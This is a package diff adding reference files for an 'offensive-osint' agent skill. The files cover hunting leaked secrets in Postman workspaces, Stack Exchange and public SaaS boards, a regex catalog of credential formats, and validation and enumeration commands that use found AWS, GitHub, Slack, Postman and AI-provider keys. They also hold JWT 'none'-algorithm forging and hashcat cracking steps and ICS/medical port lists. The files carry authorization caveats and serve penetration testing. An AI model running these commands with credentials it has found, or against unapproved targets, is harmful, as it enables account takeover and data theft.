opencode-skills-collection 4.1.14 → 4.1.16

package/bundled-skills/offensive-osint/references/saas-public-surfaces.md

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+# Public SaaS Collaboration Surfaces
+
+> **AAS adaptation:** Read the authorization gate in [the skill](../SKILL.md) before any target request, credential use, or data collection. These are reference examples, not an instruction to run a sweep. Select only explicitly approved targets and techniques; set request, time, byte and concurrency limits and stop on errors or scope changes. Preserve TLS verification. Treat discoveries, pattern matches and historical provider claims as leads, not verified ownership, permission or severity. Minimize personal data and redact credentials before reports; do not send private evidence to public services. Prices, quotas, API shapes and tool availability require current official documentation. Changes and original source hashes are recorded in [the notice](../UPSTREAM-NOTICE.md).
+
+
+> Reference content for the `offensive-osint` skill. Originally §24 + §25 + §26 of the monolithic SKILL.md (refactored 2026-05-02 for size/load efficiency).
+
+## 24. Postman Public Workspace Universal Search
+
+Postman's public-search endpoint is a historical web-search implementation, not a supported API contract or completeness guarantee.
+
+**Historical endpoint example (verify current official support and permitted use first):**
+
+```bash
+curl -sS -m 15 \
+  "https://www.postman.com/_api/ws/proxy" \
+  -H 'Content-Type: application/json' \
+  -H 'X-Entity-Team-Id: 0' \
+  -d '{
+    "service":"search",
+    "method":"POST",
+    "path":"/search-all",
+    "body":{
+      "queryIndices":["collaboration.workspace","runtime.collection","runtime.request"],
+      "queryText":"acme.com",
+      "size":100,
+      "from":0,
+      "clientTraceId":"",
+      "queryAllIndices":false,
+      "domain":"public"
+    }
+  }' | jq '.data[]'
+```
+
+This proxies through Postman's web app to their internal search service. Pagination via `from` (0, 100, 200, ...).
+
+**If the proxy shape changes** (it has historically): inspect a real search request from the Postman web UI:
+1. Open `https://www.postman.com/explore` in a browser.
+2. Open DevTools → Network tab.
+3. Search for any term.
+4. Find the request to `_api/...` — copy as cURL — adapt.
+
+**Per-workspace walk:**
+
+For each matching workspace ID:
+
+```bash
+WS_ID="<workspace-id>"
+# Workspace metadata (name, description, team, visibility)
+curl -sS -m 10 "https://www.postman.com/_api/workspace/$WS_ID" | jq .
+
+# List collections + environments + monitors in workspace
+curl -sS -m 10 "https://www.postman.com/_api/workspace/$WS_ID/collection" | jq '.[].id'
+curl -sS -m 10 "https://www.postman.com/_api/workspace/$WS_ID/environment" | jq '.[].id'
+
+# Per-collection: full content (requests, headers, scripts, env vars)
+COL_ID="<collection-id>"
+curl -sS -m 10 "https://www.postman.com/_api/collection/$COL_ID" | jq '.collection.item[]'
+```
+
+**Ownership scoring signals:**
+- Creator/team name mentions target domain or brand → strong.
+- Workspace name/description mentions target → strong.
+- Request URLs contain `*.target.com` → candidate association only; examples, third-party workspaces and impersonation can mention the same URLs.
+
+**Run secret catalog (§17) over every text blob extracted** from the requests, env vars, pre-request scripts, and test scripts.
+
+---
+
+## 25. Stack Exchange OSINT Sweep
+
+Stack Exchange and its sister sites collect code paste-ins from developers — many include secrets, internal hostnames, and proprietary code excerpts.
+
+**Sites to query (8 with highest signal):**
+```
+stackoverflow.com
+serverfault.com
+dba.stackexchange.com
+devops.stackexchange.com
+security.stackexchange.com
+superuser.com
+sharepoint.stackexchange.com
+salesforce.stackexchange.com
+```
+
+**API:**
+```
+GET https://api.stackexchange.com/2.3/search/advanced
+   ?site=<site>
+   &q=<target>
+   &filter=withbody
+   &pagesize=100
+```
+
+**Code block extraction regex:**
+```regex
+<pre><code>([\s\S]*?)</code></pre>
+```
+(Stack Exchange wraps code in `<pre><code>` HTML.)
+
+**Pipeline:**
+1. Search each site for the target name, brand, root domain.
+2. Extract code blocks from `body` HTML.
+3. Run secret catalog (§17) over each block.
+4. Cross-reference post author email (where exposed in profile) against email_osint discoveries — is only a lead; verify identity and employment independently, minimize personal data and do not infer authorship from a name/email match.
+5. Extract hostnames from code blocks → upsert as `subdomain` assets.
+
+**Quota:** Stack Exchange API returns quota and may return backoff fields; consult current official API limits and obey response-directed backoff. A fixed two-second delay is not a quota guarantee.
+
+---
+
+## 26. Public SaaS Collaboration Surfaces
+
+Many SaaS collaboration tools allow public sharing. Dork them like search engines.
+
+**Platforms with public-sharing features (no incident-rate claim):**
+```
+trello.com
+notion.so / notion.site
+*.atlassian.net           (Jira / Confluence)
+miro.com
+asana.com
+clickup.com
+airtable.com
+```
+
+**Dork template:**
+```
+site:{platform} "{target-keyword}"
+```
+
+**Run via search-engine adapter** (DDG default; Bing / Brave / Yandex / SerpAPI optional). The same classification logic from §18.7 applies.
+
+**Common findings:**
+- Public Trello board with credentials in card titles or attached config files.
+- Public Notion page with internal SOPs, API keys in code blocks, customer data.
+- Public Confluence space with onboarding docs containing seed creds.
+- Public Miro board with architecture diagrams revealing internal hostnames.
+
+---

package/bundled-skills/offensive-osint/references/secret-patterns.md

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+# Secret-Pattern Catalog
+
+> **AAS adaptation:** Read the authorization gate in [the skill](../SKILL.md) before any target request, credential use, or data collection. These are reference examples, not an instruction to run a sweep. Select only explicitly approved targets and techniques; set request, time, byte and concurrency limits and stop on errors or scope changes. Preserve TLS verification. Treat discoveries, pattern matches and historical provider claims as leads, not verified ownership, permission or severity. Minimize personal data and redact credentials before reports; do not send private evidence to public services. Prices, quotas, API shapes and tool availability require current official documentation. Changes and original source hashes are recorded in [the notice](../UPSTREAM-NOTICE.md).
+
+
+> Reference content for the `offensive-osint` skill. Originally §17 of the monolithic SKILL.md (refactored 2026-05-02 for size/load efficiency).
+
+## 17. Secret-Pattern Catalog — 48 candidate patterns (29 base + 19 modern)
+
+The catalog runs against any text source: GitHub code, Postman workspaces, JS bodies, sourcesContent blobs, mobile-app strings, Wayback HTML, paste sites, Stack Exchange code blocks. **Order matters: most-specific patterns first** so generic catches don't pre-empt typed ones.
+
+| # | Name | Regex | Severity | Category |
+|---|---|---|---|---|
+| 1 | AWS Access Key | `\b(AKIA\|ASIA)[0-9A-Z]{16}\b` | **CRITICAL** | aws |
+| 2 | AWS Secret Key (typed) | `(?i)aws[_\-]?secret[_\-]?access[_\-]?key['"\s:=]+([A-Za-z0-9/+=]{40})` | **CRITICAL** | aws |
+| 3 | AWS Secret (loose) | `(?i)aws(.{0,20})?(secret\|sk)["'=: ]+([0-9a-z/+=]{40})` | HIGH | aws |
+| 4 | GCP Service Account JSON | `"type"\s*:\s*"service_account"` | **CRITICAL** | gcp |
+| 5 | Google API Key | `\bAIza[0-9A-Za-z_\-]{35}\b` | HIGH | gcp |
+| 6 | GitHub Classic PAT | `\bghp_[A-Za-z0-9]{36}\b` | **CRITICAL** | github |
+| 7 | GitHub Fine-grained PAT | `\bgithub_pat_[A-Za-z0-9_]{82}\b` | **CRITICAL** | github |
+| 8 | GitHub OAuth | `\bgho_[A-Za-z0-9]{36}\b` | HIGH | github |
+| 9 | GitHub Server-to-Server | `\bgh[usr]_[A-Za-z0-9]{36,}\b` | HIGH | github |
+| 10 | Stripe Live Key | `\bsk_live_[0-9A-Za-z]{24,}\b` | **CRITICAL** | stripe |
+| 11 | Stripe Test Key | `\bsk_test_[0-9A-Za-z]{24,}\b` | LOW | stripe |
+| 12 | Slack Token | `\bxox[abpors]-[0-9A-Za-z\-]{10,48}\b` | HIGH | slack |
+| 13 | Slack Webhook | `https://hooks\.slack\.com/services/T[A-Z0-9]+/B[A-Z0-9]+/[A-Za-z0-9]+` | MEDIUM | slack |
+| 14 | SendGrid Key | `\bSG\.[A-Za-z0-9_\-]{22}\.[A-Za-z0-9_\-]{43}\b` | HIGH | email_svc |
+| 15 | Mailgun Key (v1) | `\bkey-[0-9a-zA-Z]{32}\b` | HIGH | email_svc |
+| 16 | Mailgun Key (loose) | `\bkey-[0-9a-f]{32}\b` | HIGH | email_svc |
+| 17 | Twilio API Key | `\bSK[0-9a-fA-F]{32}\b` | HIGH | twilio |
+| 18 | Twilio Account SID | `\bAC[a-f0-9]{32}\b` | MEDIUM | twilio |
+| 19 | Twilio Auth Token | `(?i)twilio(.{0,20})?(auth\|token)["'=: ]+([a-f0-9]{32})` | HIGH | twilio |
+| 20 | Heroku API Key | `(?i)heroku(.{0,20})?api["'=: ]+([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})` | MEDIUM | paas |
+| 21 | Firebase URL | `\bhttps?://[a-z0-9\-]+\.firebaseio\.com\b` | LOW | firebase |
+| 22 | JWT (any) | `\beyJ[A-Za-z0-9_\-]{10,}\.eyJ[A-Za-z0-9_\-]{10,}\.[A-Za-z0-9_\-]{10,}\b` | MEDIUM | jwt |
+| 23 | Bearer Token Assignment | `(?i)authorization["'=: ]+bearer\s+[A-Za-z0-9._\-]{20,}` | MEDIUM | bearer |
+| 24 | Basic Auth in URL | `https?://[^/\s:@]+:[^/\s:@]+@[^/\s]+` | MEDIUM | basic_auth |
+| 25 | RSA Private Key | `-----BEGIN RSA PRIVATE KEY-----` | **CRITICAL** | private_key |
+| 26 | EC Private Key | `-----BEGIN EC PRIVATE KEY-----` | **CRITICAL** | private_key |
+| 27 | OpenSSH Private Key | `-----BEGIN OPENSSH PRIVATE KEY-----` | **CRITICAL** | private_key |
+| 28 | Generic Private Key | `-----BEGIN (DSA \|PGP \|)PRIVATE KEY-----` | **CRITICAL** | private_key |
+| 29 | Generic API Key | `(?i)(?:api[_\-]?key\|apikey\|api_secret\|access_token\|secret[_\-]?token)['"\s:=]+["']([A-Za-z0-9+/=_\-]{24,})["']` | MEDIUM | generic |
+| 30 | Anthropic API Key | `\bsk-ant-(?:api03\|admin01)-[A-Za-z0-9_\-]{93,}\b` | **CRITICAL** | ai_api |
+| 31 | OpenAI API Key (legacy) | `\bsk-[A-Za-z0-9]{20}T3BlbkFJ[A-Za-z0-9]{20}\b` | **CRITICAL** | ai_api |
+| 32 | OpenAI Project Key | `\bsk-proj-[A-Za-z0-9_\-]{40,}T3BlbkFJ[A-Za-z0-9_\-]{40,}\b` | **CRITICAL** | ai_api |
+| 33 | OpenAI User Session | `\bsess-[A-Za-z0-9]{40}\b` | HIGH | ai_api |
+| 34 | HuggingFace Token | `\bhf_[A-Za-z0-9]{30,}\b` | HIGH | ai_api |
+| 35 | Cloudflare API Token | `\b[A-Za-z0-9_\-]{40}\b` (when paired with `(?i)cloudflare`/`X-Auth-Key` context) | HIGH | infra_api |
+| 36 | Cloudflare Global API Key | `(?i)cf[_\-]?api[_\-]?key['"\s:=]+([a-f0-9]{37})` | **CRITICAL** | infra_api |
+| 37 | DigitalOcean Token | `\bdop_v1_[a-f0-9]{64}\b` | HIGH | infra_api |
+| 38 | npm Token (Modern) | `\bnpm_[A-Za-z0-9]{36}\b` | HIGH | package_registry |
+| 39 | PyPI Token | `\bpypi-AgENdGV[A-Za-z0-9_\-]+\b` | HIGH | package_registry |
+| 40 | Docker Hub PAT | `\bdckr_pat_[A-Za-z0-9_\-]{27,}\b` | HIGH | package_registry |
+| 41 | Atlassian API Token | `\bATATT3xFfGF0[A-Za-z0-9_\-]{180,}\b` | HIGH | saas_api |
+| 42 | New Relic License Key | `\b(?:NRAA\|NRAK\|NRBR)-[A-F0-9]{27}\b` | MEDIUM | observability |
+| 43 | DataDog API Key (in DD_API_KEY context) | `(?i)dd[_\-]?api[_\-]?key['"\s:=]+([a-f0-9]{32})` | HIGH | observability |
+| 44 | Sentry DSN | `https://[a-f0-9]+@o[0-9]+\.ingest\.sentry\.io/[0-9]+` | LOW | observability |
+| 45 | ngrok Auth Token | `\b[12][A-Za-z0-9]{26}_[A-Za-z0-9]{32,}\b` (when `(?i)ngrok` context) | MEDIUM | tunneling |
+| 46 | Linear API Key | `\blin_api_[A-Za-z0-9]{40}\b` | MEDIUM | saas_api |
+| 47 | Discord Bot Token | `\b[MN][A-Za-z\d]{23}\.[\w\-]{6}\.[\w\-]{27}\b` | HIGH | bot_token |
+| 48 | Telegram Bot Token | `\b\d{8,10}:[A-Za-z0-9_\-]{35}\b` | HIGH | bot_token |
+
+**Interpretation:** The severity column records upstream triage priority, not confirmed impact. AWS access IDs, Twilio SIDs, Firebase URLs, Sentry DSNs, OAuth client IDs and service-account `type` markers can be public identifiers or non-secret metadata. Require the actual secret material, context and owner-confirmed exposure; do not authenticate to prove a regex match. Key formats evolve and the catalog is not exhaustive.
+
+**False-positive notes:**
+- Patterns 22 (JWT), 23 (Bearer), 29 (Generic) trigger on test/example data frequently. Always look at *context* — a JWT in a `README.md` example block ≠ a JWT in a production `.env` file.
+- Pattern 16 (Mailgun loose) and pattern 11 (Stripe test) are noisy. The table’s upstream priority is not a finding severity; test credentials can still expose test data or consume quota.
+- Pattern 24 (Basic auth in URL) catches monitoring-tool URLs and CI-debug URLs as well as real creds — verify before alerting.
+- For GitHub's Fine-grained PAT (pattern 7), the fixed length is a historical heuristic; consult current provider documentation rather than rejecting other token formats.
+
+---

package/bundled-skills/offensive-osint/references/secret-validators.md

@@ -0,0 +1,334 @@
+# Read-Only Secret Validators
+
+> **AAS adaptation:** Read the authorization gate in [the skill](../SKILL.md) before any target request, credential use, or data collection. These are reference examples, not an instruction to run a sweep. Select only explicitly approved targets and techniques; set request, time, byte and concurrency limits and stop on errors or scope changes. Preserve TLS verification. Treat discoveries, pattern matches and historical provider claims as leads, not verified ownership, permission or severity. Minimize personal data and redact credentials before reports; do not send private evidence to public services. Prices, quotas, API shapes and tool availability require current official documentation. Changes and original source hashes are recorded in [the notice](../UPSTREAM-NOTICE.md).
+
+
+> Reference content for the `offensive-osint` skill. Originally §23 of the monolithic SKILL.md (refactored 2026-05-02 for size/load efficiency).
+
+## 23. Read-Only Secret Validators
+
+Only the credential owner’s explicit authorization can permit these identity checks. Read-only authentication still uses credentials, exposes identity, creates logs and may consume quota; it is not automatically safe or within reconnaissance scope. Tag every validation with `detectability` and `checked_at` (UTC).
+
+### 23.1 Postman API Key (PMAK-*)
+
+```
+GET https://api.getpostman.com/me
+Header: X-Api-Key: PMAK-<key>
+```
+- `200` → live; response contains `{user: {id, username, email}}`.
+- `401` → request rejected; inspect provider error, credential type, expiry and endpoint compatibility before concluding revoked/invalid.
+- Scope: full read access to the user's Postman account (collections, env vars, history).
+- Detectability: low.
+
+### 23.2 AWS Access Key
+
+```
+sts:GetCallerIdentity
+```
+Use boto3:
+```python
+import boto3
+sts = boto3.client('sts',
+    aws_access_key_id='<AKIA...>',
+    aws_secret_access_key='<secret>',
+    region_name='us-east-1')
+ident = sts.get_caller_identity()
+# ident['Account'], ident['Arn'], ident['UserId']
+```
+- Valid → returns Account ID + ARN + UserId.
+- Invalid → `InvalidClientTokenId` or `SignatureDoesNotMatch`.
+- ARN type identifies a user, temporary role or root; user/role type does not establish permission breadth. Temporary keys also require the session token. Do not validate discovered root keys.
+- Detectability: **medium** (CloudTrail logs `GetCallerIdentity` in account `<found>`).
+
+### 23.3 GitHub PAT
+
+```
+GET https://api.github.com/user
+Header: Authorization: token <ghp_*>
+```
+- `200` → live; response contains `login`, `id`, `name`, `email` (if public).
+- `X-OAuth-Scopes` applies to classic/OAuth scopes, not a complete fine-grained-token permission report. Effective access also depends on resource selection, user permissions and organization policy. Consult [GitHub’s token permissions](https://docs.github.com/en/rest/authentication/permissions-required-for-fine-grained-personal-access-tokens).
+- `401` → request rejected; inspect provider error, credential type, expiry and endpoint compatibility before concluding revoked/invalid.
+- Detectability: low.
+
+### 23.4 Slack Token
+
+```
+POST https://slack.com/api/auth.test
+Header: Authorization: Bearer <xox*-*>
+```
+- `200` with `{"ok": true}` → live; response includes `team`, `team_id`, `user`, `user_id`.
+- `200` with `{"ok": false, "error": "invalid_auth"}` → dead.
+- Detectability: low.
+
+### 23.5 Anthropic API Key
+
+```
+GET https://api.anthropic.com/v1/models
+Headers:
+  x-api-key: sk-ant-api03-...
+  anthropic-version: 2023-06-01
+```
+- `200` → live; response lists available models.
+- `401` → request rejected; inspect provider error, credential type, expiry and endpoint compatibility before concluding revoked/invalid.
+- `403` with org_disabled → key valid but org disabled.
+- Detectability: low; usage shows in Anthropic Console for the workspace owner.
+
+### 23.6 OpenAI API Key
+
+```
+GET https://api.openai.com/v1/models
+Header: Authorization: Bearer sk-...
+```
+- `200` → live; lists models (may include org-specific fine-tunes).
+- `401` → request rejected; inspect provider error, credential type, expiry and endpoint compatibility before concluding revoked/invalid.
+- `429` → rate/quota response, not proof of credential liveness or remaining budget; inspect the documented error and retry policy.
+- Detectability: low; usage shows in OpenAI dashboard.
+
+### 23.7 npm Token
+
+```
+GET https://registry.npmjs.org/-/whoami
+Header: Authorization: Bearer npm_<token>
+```
+- `200` with `{"username": "<user>"}` → live.
+- `401` → request rejected; inspect provider error, credential type, expiry and endpoint compatibility before concluding revoked/invalid.
+- For scope check: `GET /-/npm/v1/tokens` returns the token's permissions (read/publish).
+- Detectability: low.
+
+### 23.8 Atlassian API Token
+
+```
+GET https://<workspace>.atlassian.net/rest/api/3/myself
+Auth: Basic <base64(email:ATATT3xFfGF0_...)>
+```
+- `200` → live; returns account profile + email.
+- `401` → request rejected; inspect provider error, credential type, expiry and endpoint compatibility before concluding revoked/invalid.
+- Workspace required — extract from leaked repo URL or Atlassian dork results.
+- Detectability: low.
+
+### 23.9 DataDog API + APP Key
+
+```
+GET https://api.datadoghq.com/api/v1/validate
+Headers:
+  DD-API-KEY: <api-key>
+  DD-APPLICATION-KEY: <app-key>
+```
+- `200` with the documented valid response → API key accepted; this endpoint does not validate the application key. See [Datadog’s validator contract](https://docs.datadoghq.com/api/latest/authentication/validate-api-key/).
+- `403` → rejected request; do not claim which credential failed without provider error details.
+- Per-region URL varies: `api.datadoghq.eu`, `api.us3.datadoghq.com`, etc.
+- Detectability: low; appears in DataDog audit log.
+
+### 23.10 Validator output schema
+
+```
+{
+  "status":          "verified_live" | "verified_dead" | "scope_restricted" |
+                     "scope_unrestricted" | "validation_skipped_by_policy" |
+                     "validation_unsupported" | "validation_failed_transient",
+  "provider":        "postman" | "aws" | "github" | "slack" | "anthropic" | "openai" | "npm" | "atlassian" | "datadog",
+  "account_id":      "<opaque>",
+  "scope":           "<freeform>",
+  "metadata":        {<provider-specific>},
+  "checked_at":      "<UTC ISO8601>",
+  "detectability":   "low" | "medium" | "high"
+}
+```
+
+### 23.11 Hard rules
+
+- Read-only endpoint only.
+- Never use the validated credential to create, modify, delete, or send anything.
+- Tag every validation with detectability.
+- Record `checked_at` (UTC).
+- If RoE forbids validation → `validation_skipped_by_policy`, stop, document.
+- For root AWS keys, infrastructure-write GitHub PATs, or admin Slack tokens — flag for the operator and let them decide.
+
+### 23.12 Post-Discovery Enumeration Workflows
+
+Identity acceptance does not authorize resource enumeration. Each account, resource, metadata scope and request/byte budget needs separate confirmation; stop at identity-only approval. Examples below are plans for owner-approved test credentials, not an automatic next step.
+
+**AWS access key — IAM enum:**
+```bash
+export AWS_ACCESS_KEY_ID="AKIA..."
+export AWS_SECRET_ACCESS_KEY="..."
+
+# Identity (already done as part of validation)
+aws sts get-caller-identity
+
+# IAM-user details (only if ARN was :user/)
+aws iam get-user
+aws iam list-attached-user-policies --user-name "$(aws iam get-user --query 'User.UserName' --output text)"
+aws iam list-user-policies --user-name "$(aws iam get-user --query 'User.UserName' --output text)"
+aws iam list-groups-for-user --user-name "$(aws iam get-user --query 'User.UserName' --output text)"
+
+# What can I actually do? (simulate-principal-policy for common dangerous actions)
+aws iam simulate-principal-policy \
+  --policy-source-arn "$(aws sts get-caller-identity --query Arn --output text)" \
+  --action-names s3:ListAllMyBuckets ec2:DescribeInstances iam:ListUsers \
+                 secretsmanager:ListSecrets ssm:DescribeParameters \
+                 lambda:ListFunctions rds:DescribeDBInstances
+
+# Read-only enumeration of common services (do not WRITE)
+aws s3 ls
+aws ec2 describe-instances --output table --query 'Reservations[*].Instances[*].[InstanceId,State.Name,Tags[?Key==`Name`].Value]'
+aws secretsmanager list-secrets --query 'SecretList[*].Name'
+aws ssm describe-parameters --query 'Parameters[*].Name'
+aws lambda list-functions --query 'Functions[*].FunctionName'
+aws rds describe-db-instances --query 'DBInstances[*].DBInstanceIdentifier'
+
+# CloudTrail check — is logging on?
+aws cloudtrail describe-trails
+
+# AccountMFAEnabled concerns root-account MFA, not effective MFA enforcement on this user
+# Per-user device enrollment also does not prove policy enforcement
+aws iam get-account-summary | jq '.SummaryMap.AccountMFAEnabled'
+aws iam list-mfa-devices --user-name <username>
+```
+
+**GitHub PAT — repo enum:**
+```bash
+TOKEN="ghp_..."
+H="Authorization: token $TOKEN"
+
+# Scopes already captured from X-OAuth-Scopes header
+curl -sS -m 10 -I -H "$H" https://api.github.com/user | grep -i 'X-OAuth-Scopes'
+
+# All repos accessible (own + collaborator + org member)
+curl -sS -m 10 -H "$H" "https://api.github.com/user/repos?affiliation=owner,collaborator,organization_member&per_page=100"
+
+# Org memberships
+curl -sS -m 10 -H "$H" "https://api.github.com/user/orgs"
+
+# Per-org: members, repos, secrets (secrets endpoint is metadata-only — names not values)
+ORG="<orgname>"
+curl -sS -m 10 -H "$H" "https://api.github.com/orgs/$ORG/members"
+curl -sS -m 10 -H "$H" "https://api.github.com/orgs/$ORG/repos?per_page=100"
+curl -sS -m 10 -H "$H" "https://api.github.com/orgs/$ORG/actions/secrets"   # requires admin:org
+
+# Per-repo workflow secrets (metadata)
+REPO="<orgname/reponame>"
+curl -sS -m 10 -H "$H" "https://api.github.com/repos/$REPO/actions/secrets"
+```
+
+**Slack token — workspace enum:**
+```bash
+TOKEN="xoxb-..."
+H="Authorization: Bearer $TOKEN"
+
+# auth.test already validated
+# Identity details
+curl -sS -m 10 -H "$H" -X POST "https://slack.com/api/users.identity" | jq .
+
+# What conversations can I see? (sweeping check; respects scope)
+curl -sS -m 10 -H "$H" -X POST "https://slack.com/api/conversations.list?types=public_channel,private_channel,mpim,im&limit=200" | jq '.channels[] | {id, name, is_private}'
+
+# Workspace info
+curl -sS -m 10 -H "$H" -X POST "https://slack.com/api/team.info" | jq .
+
+# User list (only if scope includes users:read)
+curl -sS -m 10 -H "$H" -X POST "https://slack.com/api/users.list?limit=100" | jq '.members[] | {name, real_name, is_admin}'
+
+# DO NOT: chat.postMessage, files.upload, conversations.invite, etc.
+```
+
+**JWT — full triage workflow:**
+```bash
+JWT="eyJhbGciOiJIUzI1NiI..."
+
+# Decode header
+printf %s "$JWT" | python3 -c 'import sys,json,base64; p=sys.stdin.read().split(".")[0]; print(json.dumps(json.loads(base64.urlsafe_b64decode(p+"="*(-len(p)%4)))))'
+# Look for: alg (none is a review lead, not a bypass unless accepted contrary to policy; HS256/HS384/HS512 = symmetric, RS256/RS512 = asymmetric, ES256 = ECDSA)
+# Look for: kid (key ID — possible JKU/X5U injection target)
+# Look for: jku, x5u (header presence alone does not prove the verifier trusts attacker-supplied keys)
+
+# Decode payload
+printf %s "$JWT" | python3 -c 'import sys,json,base64; p=sys.stdin.read().split(".")[1]; print(json.dumps(json.loads(base64.urlsafe_b64decode(p+"="*(-len(p)%4)))))'
+# Look for: exp (expired = downgraded), iat, nbf
+# Look for: sub, iss, aud (identity disclosure)
+# Look for: roles, scopes, permissions (privilege markers)
+# Look for: sensitive claims (email, employee ID, SSN, etc.)
+
+# The following mutation/cracking concepts are controlled-lab techniques, not read-only validators.
+# Do not run them on captured third-party credentials. Use synthetic fixtures and a separately approved test.
+# Algorithm-confusion test (RS→HS)
+# If alg is RS256, try crafting an HS256 token signed with the public key as secret
+# Tools: jwt_tool, jwt-cracker
+
+# Brute-force HS256 secret (if HS256 + short-secret suspicion)
+hashcat -m 16500 "$JWT" /path/to/wordlist.txt
+# Or: john --format=HMAC-SHA256 jwt-hash.txt --wordlist=...
+
+# Check `none` algorithm bypass
+# Re-encode header with alg=none and empty signature; some libraries accept
+NEW_JWT=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr -d '=' | tr '/+' '_-')
+NEW_JWT="${NEW_JWT}.$(echo "$JWT" | cut -d. -f2)."
+# Test against API
+```
+
+**Postman PMAK — workspace enum:**
+```bash
+PMAK="PMAK-..."
+H="X-Api-Key: $PMAK"
+
+# /me already done (validation)
+curl -sS -m 10 -H "$H" https://api.getpostman.com/me | jq '.user'
+
+# Workspaces
+curl -sS -m 10 -H "$H" https://api.getpostman.com/workspaces | jq '.workspaces[] | {id, name, type}'
+
+# Per-workspace collections
+WS="<workspace-id>"
+curl -sS -m 10 -H "$H" "https://api.getpostman.com/workspaces/$WS" | jq '.workspace.collections[]'
+curl -sS -m 10 -H "$H" "https://api.getpostman.com/workspaces/$WS" | jq '.workspace.environments[]'
+
+# Per-collection requests (where the secrets often live)
+COL="<collection-id>"
+curl -sS -m 10 -H "$H" "https://api.getpostman.com/collections/$COL" | jq '.collection.item[]'
+# Run secret catalog over the JSON
+
+# Environments (env vars often contain creds)
+ENV="<environment-id>"
+curl -sS -m 10 -H "$H" "https://api.getpostman.com/environments/$ENV" | jq '.environment.values[] | {key, value}'
+```
+
+**Anthropic API key — usage enum:**
+```bash
+KEY="sk-ant-api03-..."
+H="x-api-key: $KEY"
+A="anthropic-version: 2023-06-01"
+
+# Models accessible
+curl -sS -m 10 -H "$H" -H "$A" https://api.anthropic.com/v1/models | jq '.data[] | .id'
+
+# Usage / quota (admin-scoped tokens only):
+curl -sS -m 10 -H "$H" -H "$A" https://api.anthropic.com/v1/organizations/usage_report | jq .  # historical sketch; verify current Admin API path/parameters
+
+# DO NOT: send actual completion requests against organization budget
+```
+
+**OpenAI API key — usage enum:**
+```bash
+KEY="sk-..."
+H="Authorization: Bearer $KEY"
+
+# Models
+curl -sS -m 10 -H "$H" https://api.openai.com/v1/models | jq '.data | length'
+
+# Org info (if key has org scope)
+curl -sS -m 10 -H "$H" https://api.openai.com/v1/organizations | jq .  # historical example; not a supported general organization-info endpoint
+
+# Files / fine-tunes (sometimes contain training data with PII)
+curl -sS -m 10 -H "$H" https://api.openai.com/v1/files | jq .
+curl -sS -m 10 -H "$H" https://api.openai.com/v1/fine_tuning/jobs | jq .
+```
+
+**Generic key — provenance enum:**
+1. Find the consuming domain (where in JS bundle did the key appear? what URL is the bundle served from?).
+2. Check the API docs of the inferred service.
+3. If the key matches a known regex, lookup vendor-specific scope check.
+4. If unknown service, search public documentation for a provider’s non-sensitive format marker; never send an actual key or unique secret prefix to search services.
+5. Identify scope before validating; some keys are write-broad on first use.
+
+---

package/bundled-skills/offensive-osint/references/sector-notes.md

@@ -0,0 +1,74 @@
+# Sector-Specific Recon Notes
+
+> **AAS adaptation:** Read the authorization gate in [the skill](../SKILL.md) before any target request, credential use, or data collection. These are reference examples, not an instruction to run a sweep. Select only explicitly approved targets and techniques; set request, time, byte and concurrency limits and stop on errors or scope changes. Preserve TLS verification. Treat discoveries, pattern matches and historical provider claims as leads, not verified ownership, permission or severity. Minimize personal data and redact credentials before reports; do not send private evidence to public services. Prices, quotas, API shapes and tool availability require current official documentation. Changes and original source hashes are recorded in [the notice](../UPSTREAM-NOTICE.md).
+
+
+> Reference content for the `offensive-osint` skill. Originally §47 of the monolithic SKILL.md (refactored 2026-05-02 for size/load efficiency).
+
+## 47. Sector-Specific Recon Notes
+
+Most recon generalizes; some sectors have unique attack-surface elements worth flagging.
+
+### 47.1 Healthcare
+
+- **DICOM** (medical imaging) — port 11112, sometimes 4242 (testing).
+- **HL7 v2** (clinical messaging) — port 2575 (TCP, often plaintext).
+- **HL7 FHIR** (modern REST API) — typically `/fhir/R4/<resource>` paths; OAuth / SMART-on-FHIR auth posture varies wildly.
+- **PACS / RIS / EHR systems** — Epic (`*.epic.com` SaaS), Cerner/Oracle Health, Allscripts/Veradigm, Athenahealth, NextGen, Meditech, eClinicalWorks. Each has known CVE history.
+- **Searches:** `site:{domain} ("EHR" OR "PACS" OR "PHI" OR "HIPAA")`, `intitle:"Epic Systems" "{target}"`.
+- **Severity escalation:** sensitive patient data deserves urgent owner review. Severity requires demonstrated access, data sensitivity and impact; an open port is not proof of PHI exposure or unauthenticated access.
+
+### 47.2 Finance
+
+- **SWIFT terminals** — typically internal-only; if external-facing, CRITICAL. Look for SWIFT Alliance Web Platform.
+- **FIX protocol** (electronic trading) — port 9876 (common); cleartext.
+- **Bloomberg terminals** — typically VDI; check for `bloomberg.com`-related auth surfaces.
+- **Trading platform vendors** — Fidessa, Charles River, Eze Software, Aladdin (BlackRock).
+- **Banking middleware** — Temenos T24, Finacle (Infosys), FIS, Jack Henry, Fiserv. Each has known CVE history.
+- **Searches:** `site:{domain} ("PCI" OR "SOX" OR "GLBA" OR "MAS")`, `intitle:"Temenos" "{target}"`.
+- **Severity escalation:** prioritize actual sensitive-account or transaction-control exposure. Public interface reachability alone is not critical compromise; distinguish intended access, authentication and demonstrated impact.
+
+### 47.3 ICS / SCADA / OT
+
+> **Caution:** ICS/SCADA assets often run on legacy systems where active requests, including nominally read-only scans, can cause disruption. **Do not actively probe ICS without explicit RoE coverage and operator coordination with the OT team.**
+
+- **Modbus** — port 502 (TCP).
+- **BACnet** — port 47808 (UDP).
+- **Siemens S7** — port 102 (ISO-TSAP).
+- **DNP3** — port 20000 (TCP).
+- **EtherNet/IP** — port 44818 (TCP).
+- **Niagara Framework** — port 1911, 4911, 5011, 502.
+- **Honeywell EBI / Tridium** — varies.
+- **GE Proficy / iFIX** — varies.
+- **Common findings:** unauthenticated read access (BACnet point list, Modbus register read), default credentials on HMI panels, public-facing engineering workstations.
+- **Sources:** Shodan ICS-specific filters (`port:502`, `tag:ics`), Censys, Onyphe.
+- **Detectability:** medium-to-high; ICS networks often have low background traffic and are heavily monitored.
+
+### 47.4 IoT / Consumer / SOHO
+
+- **MQTT** — port 1883 (cleartext), 8883 (TLS). Topics often readable without auth.
+- **CoAP** — port 5683 (UDP).
+- **UPnP / SSDP** — port 1900 (UDP); often discloses internal device map.
+- **Common router admin patterns:** `/cgi-bin/`, `/setup.cgi`, `/admin/index.html`. Do not assume default credentials or test them without explicit account-testing authorization.
+- **Camera DVRs / NVRs** — Hikvision, Dahua, Axis. Multiple CVEs.
